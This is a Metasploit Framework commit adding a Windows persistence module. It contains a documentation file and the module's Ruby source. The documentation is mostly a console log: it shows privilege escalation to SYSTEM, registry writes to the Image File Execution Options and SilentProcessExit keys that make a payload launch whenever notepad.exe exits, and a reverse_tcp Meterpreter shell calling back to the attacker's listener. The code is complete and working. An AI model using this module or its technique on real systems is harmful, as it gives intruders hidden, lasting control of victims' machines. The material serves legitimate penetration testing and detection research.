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Land #12375, Add image execute options persistence module
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@busterb @msjenkins-r7
busterb authored and msjenkins-r7 committed Oct 4, 2019
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93 changes: 93 additions & 0 deletions documentation/modules/exploit/windows/local/persistence_image_exec_options.md
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## Description

This module leverages Windows debugging tools to cause a payload to launch
every time a specified binary exits.

The payload will execute at the same priv level as the launched binary.

## Vulnerable Target

Windows 7+ as elevated user

## Verification Steps
```
[*] Meterpreter session 8 opened (192.168.135.168:5555 -> 192.168.132.125:49675) at 2019-09-30 16:24:30 -0500
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > background
[*] Backgrounding session 8...
msf5 exploit(multi/handler) > use exploit/windows/local/persistence_image_exec_options
msf5 exploit(windows/local/persistence_image_exec_options) > set image_file notepad.exe
image_file => notepad.exe
msf5 exploit(windows/local/persistence_image_exec_options) > set session 8
session => 8
msf5 exploit(windows/local/persistence_image_exec_options) > run
[*] Attempting Persistence on DESKTOP-D1E425Q via session ID: 8
[*] Payload pathname = C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe
msf5 exploit(windows/local/persistence_image_exec_options) > show options
Module options (exploit/windows/local/persistence_image_exec_options):
Name Current Setting Required Description
---- --------------- -------- -----------
IMAGE_FILE notepad.exe yes Binary to "debug"
PATH no Path to write binaries if if USE_INJECTION=false(%TEMP% by default).
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION 8 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
LPORT 4545 yes The listen port
**DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)**
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/local/persistence_image_exec_options) >
```
In another window, start a listener and then launch notepad.exe on the target.
Close notepad.exe and you should get a callback:

```
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.135.168:4545
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 3 opened (192.168.135.168:4545 -> 192.168.132.125:49679) at 2019-09-30 16:25:49 -0500
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
114 changes: 114 additions & 0 deletions modules/exploits/windows/local/persistence_image_exec_options.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Silent Process Exit Persistence',
'Description' => %q(
Windows allows you to set up a debug process when a process exits.
This module uploads a payload and declares that it is the debug
process to launch when a specified process exits.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Mithun Shanbhag', # earliest author found
'bwatters-r7', # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' =>
[
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Jun 28 2008",
'References' =>
[
['URL', 'https://attack.mitre.org/techniques/T1183/'],
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
}
))
register_options([
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])

])
end

def upload_payload(dest_pathname)
payload_exe = generate_payload_exe
write_file(dest_pathname, payload_exe)
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
end

def validate_active_host
unless is_system?
fail_with(Failure::NoAccess, "You must be System to run this Module")
end

begin
print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end

def write_reg_keys(image_file, payload_pathname)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
value_name: "GlobalFlag",
type: "REG_DWORD",
value_value: 512)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: "ReportingMode",
type: "REG_DWORD",
value_value: 1)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
value_name: "MonitorProcess",
type: "REG_SZ",
value_value: payload_pathname)
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
reg_keys.each do |key|
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
unless registry_getvalinfo(key[:key_name], key[:value_name])
print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
return false
end
end
end

def exploit
validate_active_host
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
image_file = datastore['IMAGE_FILE']
payload_pathname = temp_path + "\\" + payload_name + '.exe'
vprint_status("Payload pathname = #{payload_pathname}")
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
end
end

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